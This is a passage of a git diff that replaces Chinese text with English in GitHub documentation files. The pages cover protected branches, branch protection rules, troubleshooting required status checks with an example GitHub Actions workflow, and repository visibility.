您可以在受保护分支的设置中查看和编辑对受保护分支具有推送权限的用户、团队或应用程序。 +When you enable branch restrictions, only users, teams, or apps that have been given permission can push to the protected branch. You can view and edit the users, teams, or apps with push access to a protected branch in the protected branch's settings. -您只能向对仓库具有 write 权限的用户、团队或已安装的 {% data variables.product.prodname_github_apps %} 授予推送到受保护分支的权限。 对仓库具有管理员权限的人员和应用程序始终能够推送到受保护分支。 +You can only give push access to a protected branch to users, teams, or installed {% data variables.product.prodname_github_apps %} with write access to a repository. People and apps with admin permissions to a repository are always able to push to a protected branch. -### 允许强制推送 +### Allow force pushes -默认情况下，{% data variables.product.product_name %} 阻止对所有受保护分支的强制推送。 对受保护分支启用强制推送时，只要具有仓库写入权限，任何人（包括具有管理员权限的人）都可以强制推送到该分支。 +By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, anyone with at least write permissions to the repository can force push to the branch, including those with admin permissions. If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests. -启用强制推送不会覆盖任何其他分支保护规则。 例如，如果分支需要线性提交历史记录，则无法强制推送合并提交到该分支。 +Enabling force pushes will not override any other branch protection rules. For example, if a branch requires a linear commit history, you cannot force push merge commits to that branch. -{% ifversion ghes or ghae %}如果站点管理员阻止了强制推送到仓库中的所有分支，则无法对受保护分支启用强制推送。 更多信息请参阅“[阻止强制推送到用户帐户或组织拥有的仓库](/enterprise/{{ currentVersion }}/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)”。 +{% ifversion ghes or ghae %}You cannot enable force pushes for a protected branch if a site administrator has blocked force pushes to all branches in your repository. For more information, see "[Blocking force pushes to repositories owned by a user account or organization](/enterprise/{{ currentVersion }}/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)." -如果站点管理员只阻止强制推送到默认分支，您仍然可以为任何其他受保护分支启用强制推送。{% endif %} +If a site administrator has blocked force pushes to the default branch only, you can still enable force pushes for any other protected branch.{% endif %} -### 允许删除 +### Allow deletions -默认情况下，您不能删除受保护的分支。 启用删除受保护分支后，任何对仓库至少拥有写入权限的人都可以删除分支。 +By default, you cannot delete a protected branch. When you enable deletion of a protected branch, anyone with at least write permissions to the repository can delete the branch. diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md index 20fbca283a..0209187eda 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md @@ -1,6 +1,6 @@ --- -title: 管理分支保护规则 -intro: 您可以创建分支保护规则对一个或多个分支实施某些工作流程，例如要求批准审查或通过状态检查才能将拉取请求合并到受保护分支。 +title: Managing a branch protection rule +intro: 'You can create a branch protection rule to enforce certain workflows for one or more branches, such as requiring an approving review or passing status checks for all pull requests merged into the protected branch.' product: '{% data reusables.gated-features.protected-branches %}' redirect_from: - /articles/configuring-protected-branches @@ -26,26 +26,25 @@ versions: permissions: People with admin permissions to a repository can manage branch protection rules. topics: - Repositories -shortTitle: 分支保护规则 +shortTitle: Branch protection rule --- - -## 关于分支保护规则 +## About branch protection rules {% data reusables.repositories.branch-rules-example %} -您还可以使用通配符语法 `*` 为仓库中的所有当前和未来分支创建规则。 由于 {% data variables.product.company_short %} 对 `File.fnmatch` 语法使用 `File::FNM_PATHNAME` 标记，因此通配符与目录分隔符 (`/`) 不匹配。 例如，`qa/*` 将匹配以 `qa/` 开头并包含单个斜杠的所有分支。 您可以通过 `qa/**/*` 包含多个斜杠，也可以通过 `qa**/**/*` 扩展 `qa` 字符串，使规则更具包容性。 有关分支规则语法选项的更多信息，请参阅 [fnmatch 文档](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch)。 +You can create a rule for all current and future branches in your repository with the wildcard syntax `*`. Because {% data variables.product.company_short %} uses the `File::FNM_PATHNAME` flag for the `File.fnmatch` syntax, the wildcard does not match directory separators (`/`). For example, `qa/*` will match all branches beginning with `qa/` and containing a single slash. You can include multiple slashes with `qa/**/*`, and you can extend the `qa` string with `qa**/**/*` to make the rule more inclusive. For more information about syntax options for branch rules, see the [fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch). -如果仓库有多个影响相同分支的受保护分支规则，则包含特定分支名称的规则具有最高优先级。 如果有多个受保护分支规则引用相同的特定规则名称，则最先创建的分支规则优先级更高。 +If a repository has multiple protected branch rules that affect the same branches, the rules that include a specific branch name have the highest priority. If there is more than one protected branch rule that references the same specific branch name, then the branch rule created first will have higher priority. -提及特殊字符（如 `*`、`?` 或 `]`）的受保护分支按其创建的顺序应用，因此含有这些字符的规则创建时间越早，优先级越高。 +Protected branch rules that mention a special character, such as `*`, `?`, or `]`, are applied in the order they were created, so older rules with these characters have a higher priority. -要创建对现有分支规则的例外，您可以创建优先级更高的新分支保护规则，例如针对特定分支名称的分支规则。 +To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name. -有关每个可用分支保护设置的更多信息，请参阅“[关于受保护分支](/github/administering-a-repository/about-protected-branches)”。 +For more information about each of each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." -## 创建分支保护规则 +## Creating a branch protection rule -创建分支规则时，指定的分支不必是仓库中现有的分支。 +When you create a branch rule, the branch you specify doesn't have to exist yet in the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} @@ -53,53 +52,79 @@ shortTitle: 分支保护规则 {% data reusables.repositories.add-branch-protection-rules %} {% ifversion fpt or ghec %} 1. Optionally, enable required pull requests. - - Under "Protect matching branches", select **Require a pull request before merging**. ![拉取请求审查限制复选框](/assets/images/help/repository/PR-reviews-required-updated.png) - - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch. ![用于选择必需审查批准数量的下拉菜单](/assets/images/help/repository/number-of-required-review-approvals-updated.png) + - Under "Protect matching branches", select **Require a pull request before merging**. + ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required-updated.png) + - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch. + ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals-updated.png) {% else %} -1. （可选）启用必需拉取请求审查。 - - 在“Protect matching branches（保护匹配分支）”下，选择 **Require pull request reviews before merging（合并前必需拉取请求审查）**。 ![拉取请求审查限制复选框](/assets/images/help/repository/PR-reviews-required.png) - - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. ![用于选择必需审查批准数量的下拉菜单](/assets/images/help/repository/number-of-required-review-approvals.png) +1. Optionally, enable required pull request reviews. + - Under "Protect matching branches", select **Require pull request reviews before merging**. + ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required.png) + - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. + ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals.png) {% endif %} - - （可选）要在将代码修改提交推送到分支时忽略拉取请求批准审查，请选择 **Dismiss stale pull request approvals when new commits are pushed（推送新提交时忽略旧拉取请求批准）**。 ![在推送新提交时，关闭旧拉取请求批准的复选框](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png) - - （可选）要在拉取请求影响具有指定所有者的代码时要求代码所有者审查，请选择 **Require review from Code Owners（需要代码所有者审查）**。 更多信息请参阅“[关于代码所有者](/github/creating-cloning-and-archiving-repositories/about-code-owners)”。 ![代码所有者的必需审查](/assets/images/help/repository/PR-review-required-code-owner.png) - - （可选）如果仓库属于组织，请选择 **Restrict who can dismiss pull request reviews（限制谁可以忽略拉取请求审查）**。 然后，搜索并选择有权忽略拉取请求审查的人员或团队。 更多信息请参阅“[忽略拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)”。 ![限制可以忽略拉取请求审查的人员复选框](/assets/images/help/repository/PR-review-required-dismissals.png) -1. （可选）启用必需状态检查。 - - 选中 **Require status checks to pass before merging（合并前必需状态检查通过）**。 ![必需状态检查选项](/assets/images/help/repository/required-status-checks.png) - - （可选）要确保使用受保护分支上的最新代码测试拉取请求，请选择 **Require branches to be up to date before merging（要求分支在合并前保持最新）**。 ![宽松或严格的必需状态复选框](/assets/images/help/repository/protecting-branch-loose-status.png) - - 从可用状态检查列表中，选择您想要设为必需的检查。 ![可用状态检查列表](/assets/images/help/repository/required-statuses-list.png) -{%- ifversion fpt or ghes > 3.1 or ghae-issue-4382 %} -1. （可选）选中 **Require conversation resolution before merging（在合并前需要对话解决）**。 ![合并选项前需要对话解决](/assets/images/help/repository/require-conversation-resolution.png) + - Optionally, to dismiss a pull request approval review when a code-modifying commit is pushed to the branch, select **Dismiss stale pull request approvals when new commits are pushed**. + ![Dismiss stale pull request approvals when new commits are pushed checkbox](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png) + - Optionally, to require review from a code owner when the pull request affects code that has a designated owner, select **Require review from Code Owners**. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." + ![Require review from code owners](/assets/images/help/repository/PR-review-required-code-owner.png) +{% ifversion fpt or ghec %} + - Optionally, to allow specific people or teams to push code to the branch without being subject to the pull request rules above, select **Allow specific actors to bypass pull request requirements**. Then, search for and select the people or teams who are allowed to bypass the pull request requirements. + ![Allow specific actors to bypass pull request requirements checkbox](/assets/images/help/repository/PR-bypass-requirements.png) +{% endif %} + - Optionally, if the repository is part of an organization, select **Restrict who can dismiss pull request reviews**. Then, search for and select the people or teams who are allowed to dismiss pull request reviews. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." + ![Restrict who can dismiss pull request reviews checkbox](/assets/images/help/repository/PR-review-required-dismissals.png) +1. Optionally, enable required status checks. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)." + - Select **Require status checks to pass before merging**. + ![Required status checks option](/assets/images/help/repository/required-status-checks.png) + - Optionally, to ensure that pull requests are tested with the latest code on the protected branch, select **Require branches to be up to date before merging**. + ![Loose or strict required status checkbox](/assets/images/help/repository/protecting-branch-loose-status.png) + - Search for status checks, selecting the checks you want to require. + ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png) +{%- ifversion fpt or ghes > 3.1 or ghae-next %} +1. Optionally, select **Require conversation resolution before merging**. + ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png) {%- endif %} -1. （可选）选择 **Require signed commits（必需签名提交）**。 ![必需签名提交选项](/assets/images/help/repository/require-signed-commits.png) -1. （可选）选择 **Require linear history（必需线性历史记录）**。 ![必需的线性历史记录选项](/assets/images/help/repository/required-linear-history.png) +1. Optionally, select **Require signed commits**. + ![Require signed commits option](/assets/images/help/repository/require-signed-commits.png) +1. Optionally, select **Require linear history**. + ![Required linear history option](/assets/images/help/repository/required-linear-history.png) {%- ifversion fpt or ghec %} -1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %} ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png) +1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %} + ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png) {% tip %} **Tip:** The pull request merge queue feature is currently in limited public beta and subject to change. Organizations owners can request early access to the beta by joining the [waitlist](https://github.com/features/merge-queue/signup). {% endtip %} {%- endif %} -1. 视情况可选择 **Include administrators（包括管理员）**。 ![包括管理员复选框](/assets/images/help/repository/include-admins-protected-branches.png) -1. （可选）{% ifversion fpt or ghec %}如果仓库由组织拥有，可使用 {% data variables.product.prodname_team %} 或 {% data variables.product.prodname_ghe_cloud %}{% endif %} 启用分支限制。 - - 选择 **Restrict who can push to matching branches（限制谁可以推送到匹配分支）**。 ![分支限制复选框](/assets/images/help/repository/restrict-branch.png) - - 搜索并选择有权限推送到受保护分支的人员、团队或应用程序。 ![分支限制搜索](/assets/images/help/repository/restrict-branch-search.png) -1. （可选）在“Rules applied to everyone including administrators（适用于包括管理员在内的所有人规则）”下，选择 **Allow force pushes（允许强制推送）**。 ![允许强制推送选项](/assets/images/help/repository/allow-force-pushes.png) -1. （可选）选择 **Allow deletions（允许删除）**。 ![允许分支删除选项](/assets/images/help/repository/allow-branch-deletions.png) -1. 单击 **Create（创建）**。 +1. Optionally, select **Include administrators**. +![Include administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png) +1. Optionally,{% ifversion fpt or ghec %} if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %},{% endif %} enable branch restrictions. + - Select **Restrict who can push to matching branches**. + ![Branch restriction checkbox](/assets/images/help/repository/restrict-branch.png) + - Search for and select the people, teams, or apps who will have permission to push to the protected branch. + ![Branch restriction search](/assets/images/help/repository/restrict-branch-search.png) +2. Optionally, under "Rules applied to everyone including administrators", select **Allow force pushes**. For more information about force pushes, see "[Allow force pushes](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)." + ![Allow force pushes option](/assets/images/help/repository/allow-force-pushes.png) +1. Optionally, select **Allow deletions**. + ![Allow branch deletions option](/assets/images/help/repository/allow-branch-deletions.png) +1. Click **Create**. -## 编辑分支保护规则 +## Editing a branch protection rule {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.repository-branches %} -1. 在要编辑的分支保护规则的右侧，单击 **Edit（编辑）**。 ![编辑按钮](/assets/images/help/repository/edit-branch-protection-rule.png) -1. 对分支保护规则进行所需的更改。 -1. 单击 **Save changes（保存更改）**。 ![Edit message 按钮](/assets/images/help/repository/save-branch-protection-rule.png) +1. To the right of the branch protection rule you want to edit, click **Edit**. + ![Edit button](/assets/images/help/repository/edit-branch-protection-rule.png) +1. Make your desired changes to the branch protection rule. +1. Click **Save changes**. + ![Save changes button](/assets/images/help/repository/save-branch-protection-rule.png) -## 删除分支保护规则 +## Deleting a branch protection rule {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.repository-branches %} -1. 在要删除的分支保护规则的右侧，单击 **Delete（删除）**。 ![删除按钮](/assets/images/help/repository/delete-branch-protection-rule.png) +1. To the right of the branch protection rule you want to delete, click **Delete**. + ![Delete button](/assets/images/help/repository/delete-branch-protection-rule.png) diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md index aa8f4470b0..fd64a80a81 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md @@ -1,6 +1,6 @@ --- -title: 必需状态检查故障排除 -intro: 您可以检查必需状态检查的常见错误并解决问题， +title: Troubleshooting required status checks +intro: You can check for common errors and resolve issues with required status checks. product: '{% data reusables.gated-features.protected-branches %}' versions: fpt: '*' @@ -12,20 +12,19 @@ topics: redirect_from: - /github/administering-a-repository/troubleshooting-required-status-checks - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks -shortTitle: 必需状态检查 +shortTitle: Required status checks --- +If you have a check and a status with the same name, and you select that name as a required status check, both the check and the status are required. For more information, see "[Checks](/rest/reference/checks)." -如果您有名称相同的检查和状态，并且选择该名称作为必需状态检查，则检查和状态都是必需的。 更多信息请参阅“[检查](/rest/reference/checks)”。 - -在启用必需状态检查后，您的分支在合并之前可能需要使用基础分支更新。 这可确保您的分支已经使用基本分支的最新代码做过测试。 如果您的分支过期，则需要将基本分支合并到您的分支。 更多信息请参阅“[关于受保护分支](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)”。 +After you enable required status checks, your branch may need to be up-to-date with the base branch before merging. This ensures that your branch has been tested with the latest code from the base branch. If your branch is out of date, you'll need to merge the base branch into your branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)." {% note %} -**注：**您也可以使用 Git 变基以基础分支更新您的分支。 更多信息请参阅“[关于 Git 变基](/github/getting-started-with-github/about-git-rebase)”。 +**Note:** You can also bring your branch up to date with the base branch using Git rebase. For more information, see "[About Git rebase](/github/getting-started-with-github/about-git-rebase)." {% endnote %} -在通过所有必需状态检查之前，无法向受保护分支推送本地更改。 反而会收到类似如下的错误消息。 +You won't be able to push local changes to a protected branch until all required status checks pass. Instead, you'll receive an error message similar to the following. ```shell remote: error: GH006: Protected branch update failed for refs/heads/main. @@ -33,13 +32,87 @@ remote: error: Required status check "ci-build" is failing ``` {% note %} -**注：**最新且通过必需状态检查的拉取请求可以本地合并，并且推送到受保护分支。 此操作无需对合并提交本身运行状态检查。 +**Note:** Pull requests that are up-to-date and pass required status checks can be merged locally and pushed to the protected branch. This can be done without status checks running on the merge commit itself. {% endnote %} {% ifversion fpt or ghae or ghes or ghec %} -有时，测试合并提交与头部提交的状态检查结果存在冲突。 如果测试合并提交具有状态，则测试合并提交必须通过。 否则，必须传递头部提交的状态后才可合并该分支。 有关测试合并提交的更多信息，请参阅“[拉取](/rest/reference/pulls#get-a-pull-request)”。 +## Conflicts between head commit and test merge commit -![具有冲突的合并提交的分支](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png) +Sometimes, the results of the status checks for the test merge commit and head commit will conflict. If the test merge commit has a status, the test merge commit must pass. Otherwise, the status of the head commit must pass before you can merge the branch. For more information about test merge commits, see "[Pulls](/rest/reference/pulls#get-a-pull-request)." + +![Branch with conflicting merge commits](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png) {% endif %} + +## Handling skipped but required checks + +Sometimes a required status check is skipped on pull requests due to path filtering. For example, a Node.JS test will be skipped on a pull request that just fixes a typo in your README file and makes no changes to the JavaScript and TypeScript files in the `scripts` directory. + +If this check is required and it gets skipped, then the check's status is shown as pending, because it's required. In this situation you won't be able to merge the pull request. + +### Example + +In this example you have a workflow that's required to pass. + +```yaml +name: ci +on: + pull_request: + paths: + - 'scripts/**' + - 'middleware/**' +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + node-version: [12.x, 14.x, 16.x] + steps: + - uses: actions/checkout@v2 + - name: Use Node.js ${{ matrix.node-version }} + uses: actions/setup-node@v2 + with: + node-version: ${{ matrix.node-version }} + cache: 'npm' + - run: npm ci + - run: npm run build --if-present + - run: npm test +``` + +If someone submits a pull request that changes a markdown file in the root of the repository, then the workflow above won't run at all because of the path filtering. As a result you won't be able to merge the pull request. You would see the following status on the pull request: + +![Required check skipped but shown as pending](/assets/images/help/repository/PR-required-check-skipped.png) + +You can fix this by creating a generic workflow, with the same name, that will return true in any case similar to the workflow below : + +```yaml +name: ci +on: + pull_request: + paths-ignore: + - 'scripts/**' + - 'middleware/**' +jobs: + build: + runs-on: ubuntu-latest + steps: + - run: 'echo "No build required" ' +``` +Now the checks will always pass whenever someone sends a pull request that doesn't change the files listed under `paths` in the first workflow. + +![Check skipped but passes due to generic workflow](/assets/images/help/repository/PR-required-check-passed-using-generic.png) + +{% note %} + +**Notes:** +* Make sure that the `name` key and required job name in both the workflow files are the same. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)". +* The example above uses {% data variables.product.prodname_actions %} but this workaround is also applicable to other CI/CD providers that integrate with {% data variables.product.company_short %}. + +{% endnote %} + +It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. If you see a message similar to the following, then you should verify that the check listed in the merge box was set by the expected app. + +``` +Required status check "build" was not set by the expected {% data variables.product.prodname_github_app %}. +``` diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/about-repositories.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/about-repositories.md index 1b91e3d639..6a27e9ea41 100644 --- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/about-repositories.md +++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/about-repositories.md @@ -1,6 +1,6 @@ --- -title: 关于仓库 -intro: 仓库包含项目的所有文件，并存储每个文件的修订记录。 您可以在仓库中讨论并管理项目的工作。 +title: About repositories +intro: A repository contains all of your project's files and each file's revision history. You can discuss and manage your project's work within the repository. redirect_from: - /articles/about-repositories - /github/creating-cloning-and-archiving-repositories/about-repositories @@ -20,56 +20,63 @@ topics: - Repositories --- -## 关于仓库 +## About repositories -您可以个人拥有仓库，也可以与组织中的其他人共享仓库的所有权。 +You can own repositories individually, or you can share ownership of repositories with other people in an organization. -您可以通过选择仓库的可见性来限制谁可以访问仓库。 更多信息请参阅“[关于仓库可见性](#about-repository-visibility)”。 +You can restrict who has access to a repository by choosing the repository's visibility. For more information, see "[About repository visibility](#about-repository-visibility)." -对于用户拥有的仓库，您可以向其他人授予协作者访问权限，以便他们可以协作处理您的项目。 如果仓库归组织所有，您可以向组织成员授予访问权限，以便协作处理您的仓库。 For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +For user-owned repositories, you can give other people collaborator access so that they can collaborate on your project. If a repository is owned by an organization, you can give organization members access permissions to collaborate on your repository. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." {% ifversion fpt or ghec %} -通过用户帐户和组织的 {% data variables.product.prodname_free_team %}，可与无限的协作者合作处理设置了完全功能的无限公共仓库，或者是设置了有限功能的无限私有仓库， 要获取对私有仓库的高级处理，您可以升级到 {% data variables.product.prodname_pro %}、{% data variables.product.prodname_team %} 或 {% data variables.product.prodname_ghe_cloud %}。 {% data reusables.gated-features.more-info %} +With {% data variables.product.prodname_free_team %} for user accounts and organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. To get advanced tooling for private repositories, you can upgrade to {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %} {% else %} -每个人和组织都可拥有无限的仓库，并且可以邀请无限的协作者参与所有仓库。 +Each person and organization can own unlimited repositories and invite an unlimited number of collaborators to all repositories. {% endif %} -您可以使用仓库管理您的工作并与他人合作。 -- 您可以使用议题来收集用户反馈，报告软件缺陷，并组织您想要完成的任务。 更多信息请参阅“[关于议题](/github/managing-your-work-on-github/about-issues)”。{% ifversion fpt or ghec %} +You can use repositories to manage your work and collaborate with others. +- You can use issues to collect user feedback, report software bugs, and organize tasks you'd like to accomplish. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues)."{% ifversion fpt or ghec %} - {% data reusables.discussions.you-can-use-discussions %}{% endif %} -- 您可以使用拉取请求来建议对仓库的更改。 更多信息请参阅“[关于拉取请求](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)”。 -- 您可以使用项目板来组织议题和拉取请求并排定优先级。 更多信息请参阅“[关于项目板](/github/managing-your-work-on-github/about-project-boards)”。 +- You can use pull requests to propose changes to a repository. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)." +- You can use project boards to organize and prioritize your issues and pull requests. For more information, see "[About project boards](/github/managing-your-work-on-github/about-project-boards)." {% data reusables.repositories.repo-size-limit %} -## 关于仓库可见性 +## About repository visibility -您可以通过选择仓库的可见性来限制谁有权访问仓库：{% ifversion fpt or ghes or ghec %}公共、内部或私有{% elsif ghae %}私有或内部{% else %} 公共或私有{% endif %}。 +You can restrict who has access to a repository by choosing a repository's visibility: {% ifversion ghes or ghec %}public, internal, or private{% elsif ghae %}private or internal{% else %} public or private{% endif %}. -{% ifversion ghae %}当您创建由您的用户帐户拥有的仓库时，仓库始终是私有的。 创建组织拥有的仓库时，可以选择将仓库设为私有或内部。{% else %}创建仓库时，可以选择使仓库成为公共或私有。{% ifversion fpt or ghes or ghec %} 如果要在组织中创建{% ifversion fpt or ghec %} 由企业帐户拥有的仓库{% endif %}，也可以选择将仓库设为内部。{% endif %}{% endif %} +{% ifversion fpt or ghec or ghes %} + +When you create a repository, you can choose to make the repository public or private.{% ifversion ghec or ghes %} If you're creating the repository in an organization{% ifversion ghec %} that is owned by an enterprise account{% endif %}, you can also choose to make the repository internal.{% endif %}{% endif %}{% ifversion fpt %} Repositories in organizations that use {% data variables.product.prodname_ghe_cloud %} can also be created with internal visibility. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation. -{% ifversion ghes %} -如果 {% data variables.product.product_location %} 不是私人模式或在防火墙后面，所有人都可以在互联网上访问公共仓库。 或者，使用 {% data variables.product.product_location %} 的每个人都可以使用公共仓库，包括外部协作者。 私有仓库仅可供您、您明确与其共享访问权限的人访问，而对于组织仓库，只有某些组织成员可以访问。 {% ifversion ghes %} 企业成员可以访问内部仓库。 更多信息请参阅“[关于内部仓库](#about-internal-repositories)”。{% endif %} {% elsif ghae %} -私有仓库仅可供您、您明确与其共享访问权限的人访问，而对于组织仓库，只有某些组织成员可以访问。 所有企业成员均可访问内部仓库。 更多信息请参阅“[关于内部仓库](#about-internal-repositories)”。 -{% else %} -互联网上的所有人都可以访问公共仓库。 私有仓库仅可供您、您明确与其共享访问权限的人访问，而对于组织仓库，只有某些组织成员可以访问。 企业成员可以访问内部仓库。 更多信息请参阅“[关于内部仓库](#about-internal-repositories)”。 + +When you create a repository owned by your user account, the repository is always private. When you create a repository owned by an organization, you can choose to make the repository private or internal. + {% endif %} -组织所有者始终有权访问其组织中创建的每个仓库。 For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +{%- ifversion fpt or ghec %} +- Public repositories are accessible to everyone on the internet. +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. +{%- elsif ghes %} +- If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. Otherwise, public repositories are available to everyone using {% data variables.product.product_location %}, including outside collaborators. +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. Internal repositories are accessible to all enterprise members. +{%- elsif ghae %} +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. +{%- endif %} +{%- ifversion ghec or ghes or ghae %} +- Internal repositories are accessible to all enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)." +{%- endif %} -拥有仓库管理员权限的人可更改现有仓库的可见性。 更多信息请参阅“[设置仓库可见性](/github/administering-a-repository/setting-repository-visibility)”。 +Organization owners always have access to every repository created in an organization. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." -{% ifversion fpt or ghae or ghes or ghec %} -## 关于内部仓库 +People with admin permissions for a repository can change an existing repository's visibility. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)." -{% note %} +{% ifversion ghes or ghec or ghae %} +## About internal repositories -**注：**{% data reusables.gated-features.internal-repos %} - -{% endnote %} - -{% data reusables.repositories.about-internal-repos %} 有关内部资源的更多信息，请参阅 {% data variables.product.prodname_dotcom %} 的白皮书“[内部资源简介](https://resources.github.com/whitepapers/introduction-to-innersource/)”。 +{% data reusables.repositories.about-internal-repos %} For more information on innersource, see {% data variables.product.prodname_dotcom %}'s whitepaper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)." All enterprise members have read permissions to the internal repository, but internal repositories are not visible to people {% ifversion fpt or ghec %}outside of the enterprise{% else %}who are not members of any organization{% endif %}, including outside collaborators on organization repositories. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." @@ -83,43 +90,43 @@ All enterprise members have read permissions to the internal repository, but int {% data reusables.repositories.internal-repo-default %} -Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. 如果用户从企业拥有的所有组织中删除，该用户的内部仓库复刻也会自动删除。 +Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. If a user is removed from all organizations owned by the enterprise, that user's forks of internal repositories are removed automatically. {% endif %} -## 限制查看仓库中的内容和差异 +## Limits for viewing content and diffs in a repository -有些类型的资源可能很大，需要在 {% data variables.product.product_name %} 上额外处理。 因此，可设置限制，以确保申请在合理的时间内完成。 +Certain types of resources can be quite large, requiring excessive processing on {% data variables.product.product_name %}. Because of this, limits are set to ensure requests complete in a reasonable amount of time. -以下限制大多会影响 {% data variables.product.product_name %} 和 API。 +Most of the limits below affect both {% data variables.product.product_name %} and the API. -### 文本限制 +### Text limits -Text files over 